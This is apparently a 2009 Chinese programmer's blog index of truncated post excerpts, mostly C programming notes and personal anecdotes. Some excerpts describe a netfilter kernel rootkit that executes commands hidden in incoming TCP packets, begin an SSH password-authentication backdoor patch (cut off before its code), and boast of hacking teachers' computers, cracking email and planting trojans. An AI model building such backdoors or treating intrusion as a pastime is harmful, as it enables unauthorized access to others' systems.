2009-06-20 21:34
最近发现一个哥们唱歌超好听,艺名叫舒克, 有前途。 |
2009-06-04 08:10
前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包, hook点是NF_IP_PRE_ROUTING, 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了, 可以实现防火墙, 嗅探器, 当然也可以用来触发回连后门, wnps就是这么来作的, 因此不管主机防火墙作的规则如何变态, 都有机会穿透它。下面这个demo用来演示分析tcp包的内容, 分析出里面的命令, 然后去执行它, 有点类似以前的icmp, ip包后门, 只不过这些都在内核来完成, 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。 |
2009-05-30 20:56
使用Reader/Writer两个线程操作共享内存是程序设计中经常用到的方法, 共享内存一般是一个队列, 写线程不断的向队列尾中加入元素, 读线程不断的读取队列头, 使用信号量比使用自旋锁有更好的效率。下面是一个使用范例, 简单的cp功能。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h> |
2009-05-28 08:32
最近在写一 个http下载器, 通过读写线程分工来做。 当写线程结束的时候, 通过pthread_join来等待它结束, 函数原型如下:
void start_write_thread(pthread_t thread_id)
{
if (pthread_create(&thread_id, NULL, write_data_to_file, NULL) != 0) {
printf("[-] Create write thread failed.\n");
|
2009-05-21 17:06
今天又去逛学校的贴吧了, 仿佛又回到了大学时代, 学校变的更漂亮了, 好想回去在去读几年大学。 早上可以睡到自然醒, 又可能睡到中午, 然后直接去吃午饭。 不感兴趣的课就不去听, 考前临时复习下, 考试的时候让老婆做我前面就行。即使挂科, 交50大洋就可以过了, 不行就跟学弟学妹一起重修, 还可以看低年级的小美女, 舒服啊~~~~~每次下课, 站在寝室阳台下, 向下俯视美女不行。 看见不爽的老师,可以黑掉他机器, 破解他邮箱。 在无聊的时候去学校页面挂匹马 ,然后收集学校老师和同学的肉鸡, 继续搜寻感兴趣的东西~ 话说有 |
2009-05-18 10:43
周末跟搜索的兄弟们一起去东西冲游玩了, 住海边的小木屋, 晚上吃烧烤, 白天游玩三门岛, 非常开心。
晚上吃烧烤的时候, 兄弟们都激动了。一个一个都发言了, 然后哭的涕不成声, 都喝高了。 在“谁比我惨”的评选中, 智勇老大得第一名了, 的确很惨, 获奖发言时连贯2瓶, 牛逼, 不过最猛的他是搜索中唯一有8块腹肌的猛男。。。奖品不错, 不过我得跟他要半份, 因为是我推荐他的。。。还有波波得了个成就奖的第二名, 一界的研究毕业生, 年龄跟我差不多, 技术高我一头, 他是唯一一个08界毕业生在公司做技术讲座 |
2009-05-14 11:00
最近写的一些程序都会出现莫名其妙的bug, 仔细分析下来都是在一些c语法上的细小疏忽造成的。 这使得我开始重新思考c语法, 重新再巩固下c的知识。 今天说说c中的可变参数用法在实际项目中的运用, 其基本用法可以参考其他网络文章。
1、 在项目中我们经常会要用到debug函数或一些日志函数来方便我们进行调试和查看日志信息, 这些函数无疑用可变参数用法是最合适的了, 看下面这个日志函数:
#define debug_log_info(log_path, log_name, fmt, ...) |
2009-05-12 16:18
linux函数中signal函数的原型就很晦涩难懂了, 看下面这个程序你能否读懂它:
#include <stdio.h>
typedef int (*fptr)(int, char *);
int test(int num, char *s)
{
int i = 0;
for (; i < num; i++)
printf("%s\n", s);
|
2009-05-12 15:24
在x.c中定义了一个字符数组 char s[100],
在l.c中进行引用extern char s[200], 有些c程序新手经常把它写成extern char *s。 这两种写法的含义一样吗?
首先得理解声明与定义的含义:
定义一个变量意味着要给它进行内存分配, 而声明一个变量则可以在其他文件中, 只是进行一种声明, 表示有这个变量存在, 但是在其他文件中定义, 声明后不用分配内存。
我们看一下extern char s[100]与extern char *s在执行s[10]的取值过程是什么样的:
1、 extern char s[100], s是个符号, 它既是一个数组的名称 |
2009-05-08 08:23
很久之前写的ssh后门patch了, 对于ssh和pam后门, 编写都比较简单, 只要在对应函数中打个patch即可。
diff -uNr old/auth-passwd.c new/auth-passwd.c
--- old/auth-passwd.c 2004-06-22 11:37:12.000000000 +0800
+++ new/auth-passwd.c 2005-10-13 15:22:27.093750000 +0800
@@ -150,6 +150,21 @@
* Authentication is accepted if the encrypted passwords
* are identical.
|
|
|
|